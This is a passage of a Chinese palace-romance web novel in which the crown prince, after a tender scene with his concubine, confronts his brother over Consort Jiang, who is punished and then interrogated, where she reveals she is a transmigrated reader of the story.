寝裤系带被扯开,骆峋一僵。
旋即一把抓住槛儿的手。
整个人侧压着她,脸埋入槛儿的颈间。
槛儿头昏脑涨地望着帐顶。
两人的心跳好快,如此紧密地贴着,好似都能感觉到彼此胸腔里的震颤。
半晌,终于平复。
骆峋撑起身,拨开槛儿脸上汗湿的发。
看她一会儿,翻身下榻。
也没叫人伺候,自己绕过屏风进了浴间。
随后很快回来,手上拿着一条拧干的巾子,掀开纱帐递给刚坐起来的槛儿。
“谢谢殿下。”
槛儿伸手接过,柔声道。
目光触及到他完全敞开的衣裳下那一整片垒块分明的胸腹肌,槛儿克制着侧身,对着床头擦拭起脸和颈子。
骆峋低头,朝自己身上看了看。
遂转身回浴间。
槛儿擦拭完来浴间放巾子,就见昏暗的屋中太子正立在洗漱架前擦身。
上半身赤着,隐可见其行动间双臂及胸膛上起伏的肌肉线条,以及能听见棉布巾子与皮肤摩擦的轻微响声。
槛儿行到近前。
“妾身来吧。”
声音很轻,头也垂着。
骆峋不至于擦个身都要她伺候,但……
他将巾子递过去。
顾及到他若站着,槛儿擦拭起来会很费劲,于是他转过身去坐到了小杌子上露出伟岸宽阔的肩背让她擦。
槛儿上前。
一手按在太子的左肩上,一手抓着巾子细致地擦拭起这具她自重活回来,至今还不曾完全看清的健硕身躯。
屋中安静。
棉布巾子与皮肤之间微不可闻的摩擦声,淘洗巾子时的水声,彼此的呼吸声。
擦拭完,槛儿从一旁的几架上拿起另一件折得整齐的干净寝衣替太子换上。
都收拾好,槛儿往旁边站了站
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等他先走。
这时,男人握住她交叠在身前的手。
槛儿被打横抱了起来。
“殿下?”
骆峋目不斜视,“地上方才溅的有水。”
槛儿就笑了,抱住他的脖子。
重新回到榻上,太子爷这次平躺着,槛儿的手搭在他腰上挨着他的肩头偎着。
正要酝酿睡意。
太子突然出声:“四个月后。”
槛儿:“嗯?”
太子的嗓音恢复了平时的清冷威严:“前三月禁房事,胎相稳定后可偶尔行之,为保险,四月之后,你再忍一月。”
槛儿起初以为太子只是单纯提醒她孕期注意事项,忍不住就有些小窘。
哪知听完,大窘!
什么叫她再忍一个月??
说得好像她多想与他做那事似的!
好吧。
刚刚确实是她先扒的他的衣裳,也是她先开始在他身上碰来碰去的。
可、可那不是太子起的头?
就是他起的头!
却说得像是她在勾引他似的。
槛儿真想就这么转过身去离他远远的,不理他,好在理智把她给拉住了。
但又咽不下这口气,于是嘟囔着控诉道:“妾身才不急呢,刚刚明明是殿下先……”
骆峋捂住她的嘴。
再说下去,又要擦一次身。
等四个月之后。
届时便可看她,他的也给她看。
.
小昭训身子康健,孩子也长势良好,骆峋放心的同时想起了另一件事。
八月初五这日。
骆峋一早到工部上值,下午临到散衙的时辰,他照旧提前半刻钟先走。
出了工部衙署大门,宣王已经在那等着了,见到太子立马笑着迎上来。
“六哥!”
这一个多月各个官署都在忙着处理万寿节后的相关事务,兄弟俩也没时间碰头,宣王这一声喊得很是殷切。
兄弟俩碰头。
骆峋沉稳如山。
“父皇日前赐的几匹良驹,孤已征得父皇首肯,赠你一匹,你自去典牧所取。”
宣王大喜。
“真的?!多谢六哥!谢父皇恩典!”
骆峋看他一眼,暂未多言。
到了东宫,宣王迫不及待地先去典牧所选马,回元淳宫时还是一脸的兴奋。
可见很是喜欢新得的宝驹。
骆峋等他亢奋地说完试骑的感受,又亲自给他倒了一碗茶,耐心等他喝完。
这才屏退左右,开了口。
“最近,与你那位姓姜的侧室处得如何?”
第97章 “孤要见姜氏。”兄与弟,储君与臣子
没想到自家六哥会突然过问起他与府中侧室的事,宣王被吞到一半的茶水呛得猝不及防,俊脸涨得通红。
好不容易缓过来。
他窘然地问:“六哥怎生想起问这个了?”
六哥并非那种会过问别人府中私事的人,与女眷相关的私事更是不会。
突然有此一问,宣王委实惊到了。
骆峋不答反问:“你此时可清醒?”
宣王先是一顿。
随即表情猛地变得迫切,像突然想起什么令其亢奋的事,一拳捶在茶几上!
捶完,意识到自己的失态,他又马上轻轻抚了抚桌面上被自己捶的地方。
骆峋:“……”
宣王没察觉到六哥的无言。
克制地压着声音激动道:“我早想跟六哥说这事了!但最近一直忙给忙忘了!”
六哥风轻云淡。
“你说。”
宣王就说了:“我现下多数时候都很清醒!面对姜氏鲜少再会被她的容颜所惑。
也很少再会对其心生爱怜,像是挣脱某种束缚,回到了从前本就不喜她的时候!”
骆峋了然,沉吟须臾:“确定不是因其食过秽物,故而心生嫌恶,觉得难以下嘴?”
宣王:“……”
以前怎么没发现六哥这么风趣呢?
不过话说回来。
宣王是真没想到!
没想到姜氏万寿节当晚栽进恭桶染了一身秽物就罢,她居然还吃进了嘴里!
疏嫣当时只告诉他姜氏不慎摔伤了腿,他还当是其逛园子时不小心摔的。
哪知她是栽进了恭桶!
刚从宫人口中得知这事时,宣王不是清醒的,所以他第一时间想到的是姜氏受了这么大的委屈,他得去安抚!
为此,他不惜丢下疏嫣和女儿。
谁知行到半路,他忽然清醒。
最近的这一个多月。
府中下人来报说姜氏对自己身染秽物一事十分介怀,从早到晚,吐得昏天黑地。
自然也派人来请过他。
宣王每回刚听到“姜侧妃”三个字时都会心疼着急一阵,但很快就又醒过来。
不过,他去看过姜氏。
姜氏估计也觉得他是听说了她栽进恭桶的事,嫌弃她,所以为了试探他跟他闹。
过去一年多里姜氏闹脾气,宣王只觉得对方娇蛮可人,率性俏皮,对此颇多包容。
可这一个月里。
他看着姜氏,只觉厌烦,当然并非因为她栽进恭桶这件事,而是对于她这个人。
而他从前,便是厌恶姜氏的。
“六哥你上回不是说帮我查吗?可有查出什么?可是姜氏或姜府的人对我做了什么?”
宣王将自身近期的异样一一告知六哥,末了问道。
骆峋摇头。
简单将之前暗卫调查的结果告诉他。
宣王眉头紧锁。
“不是姜氏和姜府的人,甚至可能没有人对我行厌胜这样的术法,那我为何会有这种被控制思维行动的感觉?”
骆峋的指尖在案上无声敲击。
沉吟片刻,他问:“你对姜氏的态度转变发生于对方前年病愈之后,你可记得,具体是从何时开始有了清醒迹象?”
宣王捏捏眉心。
不是很确定地道:“具体……具体好像是今年四月?四月中旬?四月十五?十六?对没错,大概就是这个时候。”
“对了,好像是晚上?”
四月中旬。
十五、十六左右,晚上?
骆峋凤眸微眯,觉得这个时间有些熟悉。
稍作思考。
他眸光一闪。
四月十六,不就是自己打算临幸小宫女,裴三被睿王坑害,在赌坊**的那晚?
“意思是,这回自万寿节之后你清醒的时间便变长了?”骆峋不动声色地问。
宣王点头。
“对,从那晚开始清醒时间变长了。”
骆峋眼帘微垂。
宣王:“六哥可是觉得有何不对?”
骆峋敛起心思,摇摇头。
旋即面色转寒,冷道:“今日叫你来,另有一事,便是与你那姓姜的侧室有关。”
宣王被自家六哥眼里的冷意惊了一下,印象里六哥打小养气功夫就好,即便动怒也能让人事先毫无所觉。
“您说,”他不敢怠慢。
骆峋:“你那侧室的腿,是孤叫人做的。”
宣王怔住。
骆峋站起身,看着他。
“你不知她当晚做了什么,孤告诉你,她拦截孤的侍妾,恶意诅咒皇嗣,左
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道乱政,动摇国本!”
宣王的脸瞬间失去血色,在骆峋说完最后一个字的同时立时撩袍而跪。
“太子息怒!”
骆峋睨他。
“你可知她为何如此行事?”
宣王迅速思考。
很快想到一件事,脸色顿时难看到极点。
“看来你是知情了,”骆峋冷笑。
宣王“砰砰”磕了两个头。
“太子明鉴,臣弟知晓姜氏对端午家宴上之事耿耿于怀,也曾几度要求臣弟劝您废妾,臣弟有罪,不该包庇姜氏。
只臣弟确实不知她会拦截宋昭训,还犯下如此谋毁宗庙,大逆不道之罪。”
骆峋冷声打断他的话。
“你既清楚她对端午家宴之事耿耿于怀,且曾让你劝孤废妾,你为何不在当时对其进行管教约束,反任其在外上蹿下跳,犯下如此谋逆之罪?!”
“你以为你一句不知,就能脱罪?”
平日里一起读书下棋,把酒言欢,偶尔坑坑别人时大家不拘身份是手足兄弟。
但一旦涉及朝堂社稷,那便是储君与臣子。
宣王听着太子的斥责。
半个字也不敢辩驳。
骆峋观他片刻,负手面朝紧闭的门口。
“你该清楚,此事若让父皇知晓……”
宣王的后背一阵森寒,额角的细汗迅速汇聚,顺着他俊朗的脸庞滚落下来。
倒不是宣王真就这么不顶事,太子几句话就能吓得他如此冷汗淋漓。
而是事关皇嗣历来便不是小事,诅咒皇嗣是对皇权的亵渎藐视,是大不敬!
若父皇知晓,再查证为实。
是时别说姜氏与姜府难逃一死,他与疏嫣也难辞其咎,甚至整个宣王府都要遭殃!
宣王直起腰膝行至太子跟前。
“臣弟自知有罪,甘愿受罚,但姜氏所为与疏嫣和瑜姐儿无关,与宣王府其他人等无关,还请太子保他们周全!”
“恳请六哥,弟感激不尽……”
宣王额头触地,实打实地行了大礼。
骆峋垂眸。
稍顷,他语调寡淡道:“你以为孤缘何时隔一月才将你叫过来,单独说此事?”
宣王猛地抬头。
“孤要见姜氏,是时你匿身旁听。”
第98章 姜侧妃:“我看谁敢动!谁敢动!”
“主子,王爷过来啦!”
宣王府,揽霞居。
小丫鬟兴冲冲地跑到正房门口,脆声禀道。
东次间,角落里放着冰鉴。
姜侧妃正在铺着荆楚云丝细簟的美人榻上半躺着,两个小丫鬟在旁边轮流打扇。
春桃、秋桂一个喂饭,一个夹菜。
姜侧妃有一下没一下地嚼着嘴里的饭菜,对门外小丫鬟的通禀置若罔闻。
她今儿穿着件榴红绣芍药蝴蝶的罗纱褙子,内搭玉白小兜,配菡萏粉百迭裙。
因着起初没注重对腿伤的养护,又是高难度搭在浴桶边,又是各种沾水。
加上这个月里她时不时就会想起自己栽进恭桶糊了一身的事,然后再毫无预兆地来点大动作呕上一番。
导致她受伤的左腿到现在还绑着夹板,这么半躺着时裙子便是撩起来的。
对这个夹板,姜侧妃很不满意。
太落后了。
就是几片柳木做的,里面放着特制药垫。
又闷又黏。
远没有二十一世纪的石膏固定效果好,打上石膏,她想什么姿势就什么姿势。
还不用担心水渗进去。
可是没办法,谁叫古代人愚昧无知呢,她一个新社会的灵魂自然要包容他们。
宣王大步流星从外面进来。
见小丫鬟分明通报他来了,姜侧妃却还不动如山地躺在软榻上饭来张口。
她的那两个陪嫁丫鬟就坐在绣墩上,娇哼似的噘着嘴换了他一声“王爷”。
宣王给气笑了。
皇明祖训,凡亲王宫眷,必谨守礼法,敢有僭分越礼者,轻则降罚,重则废黜。
奴婢敢有违越礼分者,斩!
最近这一个月他虽清醒的时间多了,但念及姜氏为他生了一双儿女,显哥儿和琼姐儿也需要她这个亲娘。
且她也受了伤。
因此,对于姜氏近期的种种无礼言行,宣王亦作睁一只眼闭一只眼。
却是没想到,她的伤是这么来的!
她竟为了那么一件不值一提的小事,便置儿女于不顾,置整个宣王府于不顾!
眼下还这般轻狂放肆!
“来人!”
宣王冷喝。
屋中之人俱吓了一跳。
姜侧妃没好气地瞪过来。
春桃、秋桂倒是没有瞪,但她们还坐在墩子上,一脸同仇敌忾地看着宣王。
这时。
随着宣王的话音落下,几个太监走了进来。
这些太监是宣王开府时从宫里带出来的,宣王来后院时随行的便是他们,负责后宅里婢女的刑罚也是他们。
姜侧妃脸色再一变。
然而不待她出声,就听宣王沉声道:“将这两个不知尊卑,以下犯上的东西拖出去杖责五十,即日起驱逐出府!”
啪!啪!
春桃和秋桂摔碎了手里的碗碟,两人也终于从绣墩上站了起来,惊慌地看着走过来的那几个太监。
杖责五十也就罢,至少还有机会活下来。
但驱逐出府。
奴婢被驱逐出府可不是恢复自由身!
而是会由王府长史司出具驱逐文书,就这么以奴籍的身份被放逐到坊市,一旦被人发现奴籍便会被视为逃奴!
王府的逃奴不会有人敢用。
逃奴,人人可捕!
秋桂的胆子还是要小些。
被两个太监钳着胳膊时面色已经煞白,浑身止不住颤抖,嘴里含着“侧妃救命”。
春桃就胆大多了。
梗着脖子冲宣王嚷嚷:“王爷这是做什么!我们可是侧妃娘娘从娘家带来的!”
姜侧妃已经坐直了身,美目圆睁地瞪视着宣王:“你敢动我的人试试?!”
姜侧妃敢这么跟宣王说话也是一步步试探来的。
在现代的时候,她闲着没事时看过很多时下流行的魂穿恶毒女配的穿书文。
这种文的套路一般是:
原主胸大无脑,作天作地,对男主死缠烂打,没人喜欢她、相信她,不管她做什么身边的人对她都是各种羞辱谩骂。
女主穿过来后不在意这些人,不在意男主,然后对他们进行各种打脸虐渣。
众人就惊艳了,爱上了!
曾对原主嗤之以鼻的男主也沦陷了!
开启追妻火葬场。
姜侧妃刚发现自己穿书后就想到了她看过的穿书小说,她根本没有犹豫。
当即决定按这些穿书文套路来,然后事情发展果然和那些穿书文的剧情一样!
她只是换了打扮风格和妆面,身边的丫鬟就被她的容貌惊艳得一愣一愣的。
她故意对宣王表现得不在意,立咸鱼人设,宣王这个狗男人就真对她上心了!
愧疚了!
追妻火葬场了!
之后她再立娇气小作精人设,指挥宣王给她捏腿、洗脚、喂饭、洗澡之类的。
把这男人拿捏得团团转!
至于规矩是什么?尊卑是什么?
不存在。
她看的那些古言甜宠和古代穿书文,女主一个粗使丫鬟都能对各个阶层的达官贵人、王公贵族怼天怼地怼空气。
她一个亲王侧妃,还怕那玩意儿?
因着这种种想法。
姜侧妃压根儿不惧宣王。
且她本就因宣王这一个月里对她的态度转变火冒三丈,现在看宣王竟敢狗胆包天地动她身边的丫鬟。
姜侧妃怒了!
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冷眼威胁宣王的同时,抓起软榻上的那柄玉如意就狠狠朝宣王砸过去!
宣王避开,怒极反笑,黑眸锁着姜侧妃,薄唇一张一合:“不得手下留情。”
“是!”
几个太监皆身强力壮,闻言丝毫不怜香惜玉,扭着春桃、秋桂将人往外拖。
“主子救命!主子救救奴婢!”
秋桂死命坠着,扯着嗓子哭喊。
春桃则疯也似地挣扎,唾沫子横飞:“王爷你不能打我们!我们是侧妃娘娘的人!我们是侧妃娘娘的人!你不能,唔!”
春桃的嘴被太监蒲扇似的大手给捂住,肚子上挨了一拳,很快被拖到院子里。
立时有人摆好刑凳,拿来刑杖,春桃、秋桂被堵着嘴死死按在刑凳上。
“我看谁敢动?!谁敢动!”
姜侧妃嘶喊。
气势汹汹地从软榻上下来,跛着腿冲到外面,“揽霞居的人是都**吗?!还不把这几个刁奴给本妃拿下!”
揽霞居的丫鬟婆子们哪敢啊。
她们又不是春桃、秋桂,成日里贴身伺候主子,跟着主子水涨船高连王爷都敢呛。
她们就是普通的下人啊,要她们拿下王爷的人,跟宫里的这些公公们动手。
扯呢吧。
丫鬟婆子们跪在地上瑟瑟发抖。
那厢春桃秋桂已经在开始被打了,五尺见长,两寸见宽的板子隔着几层薄薄的布料打在二人的臀上。
一声声沉闷的击打声。
二人跟着姜侧妃养尊处优惯了,和一些寻常大户人家中的大小姐都是比得的。
何时吃过这种苦啊。
两人的额头和脖子上的筋当即便鼓了起来,被堵着的嘴里发出粗噶的呜咽声,眼睛直了劲儿盯着姜侧妃。
听语调就知是在求救。
姜侧妃对二女倒没有多深的感情。
毕竟她不是原主。
但此二人名义上到底是她的人,她的人受辱便是她受辱,姜侧妃如何能忍!
“骆屿!”
姜侧妃咬牙切齿大喊宣王名讳,转身就朝从屋中出来的宣王狠狠扑过去!
换做以前她这么动手动脚地闹,宣王非但不会罚她,反而会宠溺地将搂住她,任其挥拳在自己身上捶打。
可此刻。
宣王前所未有的清醒。
他微微一侧身,轻易避开姜侧妃的攻势。
姜侧妃反应不及扑空。
砰!
她整个人栽跌在地。
下巴狠狠磕到门槛上,牙齿咬到舌头。
一股铁锈味瞬时在她嘴里漫开,而她的那条伤腿正以一个奇怪的姿势扭曲着。
“啊!啊——我的腿!我的腿!”
第99章 姜侧妃:“太、太子……”
姜侧妃痛得浑身打摆子。
快八个月的龙凤胎平时和乳母住在东厢房,春桃秋桂被拖出来的时候两个乳母便也抱着两个孩子出来了。
此时正跪在东厢门前。
都还是不知事的时候,刚刚春桃和秋桂被按着打时,两个小家伙还在乳母怀里睁大眼睛好奇地左顾右盼。
这会儿姜侧妃忽然发出一声凄厉尖锐的叫喊,俩孩子先是朝母妃那边看了看。
随即小嘴儿一瘪,“哇”的两声齐齐哭了起来。
孩子的哭法又不一样,整个揽霞居都被这此起彼伏的孩童哭声给淹没了。
乳母们手足无措地哄着。
宣王看向这对儿龙凤胎兄妹。
姜侧妃在现代的时候就时不时会被亲戚家的孩子气,也讨厌小孩子哭。
穿过来会生孩子。
主要也是那时她认为自己这个“穿书女主”和男主宣王感情到位了,按她看的穿书文剧情进展就该生孩子了。
倒不是她蠢,非要自愿被剧情束缚。
而是在怀孩子之前,她走的每一步都是按照这种穿书文套路来的,她的这种计划让她顺顺利利活成了爽文女主。
所以为保险起见,保住自己的这份光环。
姜侧妃才坚决继续走套路。
加上亲王侧妃生了孩子不需要自己带,自己哄,甚至奶都不用喂一口。
姜侧妃便很快接受了。
打从孩子出生到现在,她也只在孩子乖的时候逗两下,孩子们一旦哭起来,自有乳母将他们抱到别处哄。
也因此。
姜侧妃这会儿本就是火大的时候,又摔了伤腿疼痛难忍,再一听两个孩子刺耳的哭声,她整个人都炸了!
想也没想冲东厢吼道:“嚎什么丧!滚——”
宣王看向她,脸色沉得几欲滴出水来。
下一刻。
他厉声道:“将大公子与二郡主抱到栖梦阁,即日起两位小主子由顾侧妃抚养!”
顾侧妃乃两年前元隆帝为制衡朝局给赐下的,当时除东宫和没开府的简王,侧妃位有空的便是慎王府和宣王府。
顾侧妃性情温和不争,早年便知宣王和宣王妃乃青梅竹马,伉俪情深。
所以进府之初就和宣王、宣王妃开诚布公地谈过,表明了自身立场。
如今顾侧妃顶着侧妃的头衔,实则是瑜姐儿的先生,和宣王妃的关系亦很融洽。
乳母一听宣王令下。
当即抱起两个孩子直奔栖梦阁。
也是巧。
乳母们刚出揽霞居不久,就和听到下人禀报,来此查看情况的宣王妃碰上了。
“怎么回事?”宣王妃的视线在两个孩子哭得涨红的脸上环视了一圈,蹙眉问。
乳母们将知晓的如实道来。
宣王妃顿了顿,带着人进了院子。
刚进去,就听到姜侧妃歇斯底里的喊叫:“骆屿!你敢把我的孩子交给别的女人养!我跟你拼了!我跟你拼了!”
宣王妃早知宣王对姜侧妃的纵容,也没少听下人说姜侧妃在王爷面前如何如何放肆无礼,王爷皆不曾计较。
男人都不计较,宣王妃才懒得管。
此刻听姜侧妃直呼宣王名讳,宣王妃眉头都没动一下,只管看向院中情况。
宣王看着姜侧妃,冷道:
“你若真心疼他们,岂会为一己之私犯下如此滔天大罪,他们跟着你,日后怕是**的都不知道。”
姜侧妃不懂他在放什么屁。
她只知道事情的发展不对,她堂堂穿书女主这狗男人竟然敢这么对她!
她一定要让他好看!
她要弄死他!
这么想着,姜侧妃不顾腿伤剧痛。
一口咬在一名抓着她的嬷嬷的手上,趁其吃痛挣脱,五指成爪直朝宣王脖子抓去!
被宣王一袖拂至两丈之外。
“姜侧妃目无尊卑,纵奴犯主,狂悖犯讳,罪无可恕,念其诞皇嗣有功留与性命。
掌掴二十,观刁奴施杖结束幽禁于静思苑,本王将奏禀宗人府废其侧妃之位。”
说罢,步下台阶朝宣王妃行去。
姜侧妃被两名粗壮的嬷嬷从地上押起来,挣扎之际看到了庭院中的宣王妃。
顿时,她受了什么刺激也似。
面目狰狞地对宣王妃嘶喊道:“是你!是你对骆屿说了什么做了什么对不对?!”
魂穿恶毒女配的小说里都会有一个白莲绿茶的原女主,宣王妃作为她穿的这本书里的原女主怎么可能是好的!
所以一定是她。
一定是柳疏嫣使了什么卑鄙手段!不然宣王的态度不可能变得这么大这么快!
不对,不对!
她一个穿书的,怎么可能被原女主害到!
原女主才是该被废的那个!
“柳疏嫣你做了什么!臭**你做了……”
啪啪!啪啪!
不待宣王动怒,抓着姜侧妃的一个婆子照着她的脸就是一连串大耳刮子。
“侧妃娘娘慎言,您以下犯上,王爷已看在大公子和二郡主的份上饶您一命,您可千万别想不开自寻死路!”<
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br>宣王冷眼看着,旋即收回刚刚迈出的一只脚,牵住宣王妃的手拂袖而去!
院子里刑杖击打皮肉的声音还在继续,清脆的巴掌声在二十下之后停了。
姜侧妃跌倒在地。
一张脸红肿不堪,有血水顺着她裂开的嘴角渗出来,春桃秋桂的身影变得模糊。
.
哗啦——
一盆冷水兜头浇下。
“咳,咳咳……”
好痛。
左腿动弹不了,受伤的地方钻心得痛,脸上木木的,嘴巴一张嘴角就撕扯得厉害。
不是她屋中的青砖地面,也没有熟悉的熏香。
这是哪……
姜侧妃吃力地撑起身子。
正要抬头打量周围。
右前方传来一道“吱呀”开门声,紧接着一片玉白色的袍摆闯入眼角余光中。
由远及近。
姜侧妃动作顿住。
屏住呼吸抬起眼,朝那片袍摆看去,视线刚定格在那抹衣袍上,她的身子一僵。
按大靖制。
皇帝与太子、亲王皆可用龙纹,但在形态、爪子的数量以及龙的数量等方面有严格的区别。
皇帝自然是五爪金龙,毋庸置疑。
太子的规制下帝一等。
常用的绣纹形态无限接近真龙,唯有爪子为四爪,且多为团龙、卧龙、侧龙。
严禁使用正龙首。
数量上也必须避开象征九五之尊的九和五,多为双龙、四龙以及八龙。
而亲王。
名义上说是龙纹,实则形态为四爪**。
且一定是侧面行进的**,**身的鬃**和鳞片都比皇帝、太子的规格低。
姜侧妃曾研究过宣王衣服上的**纹,了解过相关规定,所以记得尤其清楚。
而此时此刻。
那片随着主人走近、落座而顺滑垂下的袍摆上,赫然绣着两条遨游于山河祥云之间威风凛凛的四爪行龙!
姜侧妃心头莫名发紧。
目光缓缓往上,果然看见了来人腰间的**金符、金玉绦带以及龙纹玉佩。
胸前一条侧首盘龙,袖口及衣襟处俱以金银线绣着精致繁复的花纹……
“姜宛宛。”
男人的声音冰冷低沉。
像浸在数九寒天里的玄铁相撞,无形的压迫感铺天盖地充斥在整个房间。
姜侧妃撑着地面的手不自觉一抖。
很快被她稳住。
跟着她抿紧唇大胆抬头,目光猝不及防撞入那双深不见底的冷冽黑眸里。
“太、太子……”
第100章 太子vs姜侧妃,宋槛儿重生的证据(合章)
骆峋看着不远处形容狼狈的女人,并未在意对方抬首直视他的行举。
他坐在上首处紫檀嵌金雕云蝠的三屏宝座上,审视了姜侧妃片刻,冷声问:“你可知自己因何会出现在此?”
姜侧妃不知道。
别看她穿来这么久了,参加了很多次宫宴。
但因着每次宴席都设了男女大防,以至于她对太子的印象并不深,只停留在之前偶然一次机会远远瞧见过。
知道太子冷情寡言,俊美威严。
当然了,姜侧妃对太子可没有男女方面的想法,她看小说就不喜欢人设冷的男角色。
现实中也接受不了谁成天绷着一张脸,跟别人欠了他百八十万没还似的。
和这样的人生活,想想都累。
另外她对宣王虽是按穿书文套路来的。
但她还不至于会蠢到以为全书男配都会被她的美貌所折服,都会被她所迷的地步。
神经病似的。
“我、我不知道……”
太吃惊了,也是习惯了对宣王没大没小。
加上不久前才被宣王罚过,她哽着一口气,不想再对这些古代封建权贵低头。
因此姜侧妃故意没改自称。
一旁做内侍打扮其貌不扬的男子上前要掌她的嘴,被太子一个眼神制止了。
姜侧妃看到了,心中松了口气。
也有些小得意。
看吧。
这种古言里的权贵,就跟霸总文里的霸总一样,平时见惯了对他们卑躬屈膝的人,偶尔碰上一个与众不同的。
可不就觉得她有趣,对她刮目相看了?
当初她对宣王就是这么试探过来的,但那狗男人这段时间也不知吃错了什么药。
妈的!
姜侧妃发誓,回头那死男人要对她追妻火葬场,她是绝对不会原谅的!
绝对不会!
骆峋没错过对方眼底一闪而过的自得,不懂她有何自满的,也没必要追究。
他面色与寻常无异。
“不知道,孤提醒你,万寿节当晚你拦截宋昭训时做了什么,说了什么。”
姜侧妃愣了愣,旋即脸色大变。
骆峋:“记得就行,孤现在要你将当时所言,一字不漏地复述一遍与孤听。”
姜侧妃差点一口气没上来。
什么情况?难不成那晚她跟宋槛儿说话的时候附近有太子的人??
还是说宋槛儿向太子告状了?
姜侧妃更倾向于后者!
别看她看过不少古言和古偶,经常看到男女主随时一个眼神就能召唤出暗卫。
那些暗卫平时神出鬼没。
说是千里眼顺风耳也不为过,经常“刷”一下闪现,又“刷”一下原地消失。
好像什么都难不倒他们。
但姜侧妃清楚,这种完全不可能!
当时她跟宋槛儿说话故意选了院子正中间,院里的奴才都离了老远,她们周围至少十米内没有其他人。
而且她就是为了防止隔墙有耳,才故意凑近宋槛儿,把声音压到极致的。
就算当时附近有太子的人。
但他们又不是真的千里眼顺风耳,怎么可能离那么远还能听清她说的话?
所以,只能是宋槛儿告的状!
那个碧池。
姜侧妃给气笑了。
当着她的面装白莲花,扭头让她身边的奴才搞偷袭也就算了,还恶人先告状!
笑死。
这不就是典型的娇妻吗?
遇事不决就知道找男人告状,有本事出来跟她单挑啊,找男人算什么狗屎?
她就说这些古代女人贱!
只知道依附男人,活该被男人当成泄欲工具!
也好。
她本来也是要找机会向这男人揭穿宋槛儿的真面目,瞌睡了有人递枕头。
“宋槛儿跟你怎么说的?你把我弄到这个地方来,意思就是你信她了,对吗?”
姜侧妃坐在地上,自诩理智冷静地笑了一下,然后以平等对谈的口吻问道。
骆峋暂不想把时间浪费在教此人规矩上,他也想知道当晚两人具体发生了什么。
为君者,忌偏听偏信。
“你想说什么尽可直言。”
姜侧妃就笑出了声。
“太子果然英明,那我可就要实话实说了,不过我们先说好,一会儿不管我说什么你都不能迁怒,不能降罪于我。”
骆峋颔首,“可。”
姜侧妃很满意他的态度。
换了个稍微舒服的姿势坐着,开口道:“在说我对宋槛儿做了什么之前,我想问问你知道什么是重生吗?”
骆峋:“起死回生,招魂附体。”
姜侧妃:“???”
不是。
虽然有微妙的区别,可他怎么知道啊?重生小说不是现代才有的吗?
这个老古董咋知道的?
骆峋看出了姜侧妃的费解,但他并不打算与对方废话,只道:“继续。”
姜侧妃尴尬地咳了咳。
“知道就好,我不用费时间解释了,我现在要告诉你的是,你的宋昭训,宋槛儿。”
“她就是重生的。”
“不过,她的重生和你以为起死回生、招魂附体是有区别的,她不是死在最近的这段时间里,魂魄再回到身体里。
而是她死的时候年纪已经很大了,她的魂魄是从将来回来占据了她现在的身体。”
“这么说能明白吗?”
其实她更想以平行世界为例。
但这老古董肯定理解不了平行世界的概念,她实在懒得浪费口舌解释。
干脆就不说了。
骆峋面若冰霜,淡淡道:“好比你稍后身亡,你的魂魄会回到你未亡之时。”
姜侧妃点头:“对,就是我**……”
话到一半,她脸一青。
一句“你才**!你全家都**!”险些脱口而出,好悬让她给及时忍住了。
“对,就是你理解的这个意思。”
她憋着气道。
“宋槛儿的魂魄就是从将来回来的,这可不是空口白话,我能列举出证据。”
说着,她换上一副神秘兮兮的表情,放轻声音:“端午射柳,她提醒过你小心,对吗?”
这里是一间密室,四面无窗。
只右侧靠墙角处有一扇小门,室中安静,姜侧妃轻缓的声音倒真有几分鬼魅之感。
骆峋神色未变。
只搁在椅子扶手上的指尖不显地动了动。
姜侧妃没注意到。
但她知道这男人一向不喜形于色,所以并没有因为他没反应就觉得自己猜错了。
她笑着继续道:“她应该是用别的方式拐弯抹角地提醒你,射柳活动里你那个葫芦里的鸽子有问题,你信了。
让人调查,葫芦里果然装着一只受伤的鸽子,而暗中动手脚的人,是睿王,我说得对吗?”
这便是她拆穿宋槛儿真面目的证据之一。
书里虽然没有详细写睿王具体怎么动的手脚,但书里的这件事是宣王这个男主在端午之后帮太子查出来的。
她在看到太子射柳没出意外的时候就知道,问题出在宋槛儿这个变故身上!
刚刚拿水泼姜侧妃的朔蜂看了眼主子,却是没能从那张清冷的脸上看出情绪。
“对。”
骆峋道,似是信了她的话。
“还有什么证据一并列出来。”
姜侧妃一喜。
便列出第二条证据。
“宋槛儿的前腰右侧有一颗米粒大小的朱砂痣,这个证据不是为了证明她是重生的,而是为了证明我了解她。
第三,宋槛儿这几个月以来性格变化是不是很大?但动作神态能装出来,身体的一些本能反应却装不出来。
不信你可以回忆,她害羞的时候有脸红吗?害怕受惊的时候脸色有白过吗?”
“没有吧?”
骆峋看了她片刻,笑了。
虽转瞬即逝,但唇角的那抹弧度很明显。
他起身。
行至离姜侧妃半丈远的位置。
“你如何知晓这些的?”
姜侧妃只当他完全信了。
闻言眼珠子一转。
有的穿书小说,女主就会把知道的剧情告诉书里的人,被那些人奉为神女什么的。
要么就是借此机会和大人物搭上关系,进而获得人脉、声望、权势和地位。
有的文里甚至女主当着皇帝皇后的面,说出“这个皇帝快**”、“这个朝代要亡了”这种话都没有被怎么样。
反而被这些人狂宠!
现在摆在她面前的,不就是这样一个机会吗?!
她只要表明自己是从二十一世纪穿越来的,再把书里的重要剧情告诉他。
她不就会被这男人奉为上宾?她不也就能过一把团宠女主的瘾了?!
到时候还不是要啥有啥!
短短一瞬间。
姜侧妃已经想象到自己被一众达官贵人,王公贵族众星拱月般拥簇的画面了。
这么想着,她丝毫没有再犹豫。
抬头。
满脸骄傲自信地看着太子。
“因为我是从未来世界穿越来的,我知道你们所在的这个世界其实是一本小说。”
接着,不需要太子追问。
她把书里的剧情一股脑都吐了出来。
譬如宣王、宣王妃是书里原本的男女主,她这具身体的原主的下场是什么。
譬如今年中秋元隆帝会率皇子群臣去秋猎,秋猎途中太子和宣王会遇险。
其实是信王干的。
再譬如太子两年后会遭幽禁,是睿王和信王联手干的,裴皇后为此气急攻心暴毙。
元隆帝从此以后不再踏入后宫半步。
当然还有太子和槛儿这对副cp,姜侧妃还很贴心地解释了什么叫做副cp。
之后就顺便把太子遭幽禁的这一年里,他的长子骆曜发烧烧坏了脑子的事。
以及太子解禁后不久,替元隆帝南巡期间骆曜掉进井里被淹死的事。
当然,姜侧妃并不知骆曜具体怎么掉井里的,身边为什么没人暗中保护。
不过这并不影响她输出。
还有槛儿为此郁郁寡欢,好几年都没再怀上。
等等。
姜侧妃全部说了!
她自觉说爽了。
完全没意识原书是以宣王、宣王妃为主角的甜宠文,对于太子和槛儿这对副cp,以及朝堂大事其实没多少细节。
也存在许多不合理的地方。
且都尚未发生,经不起推敲和考究,而且昨日,元隆帝刚取消今年的秋猎。
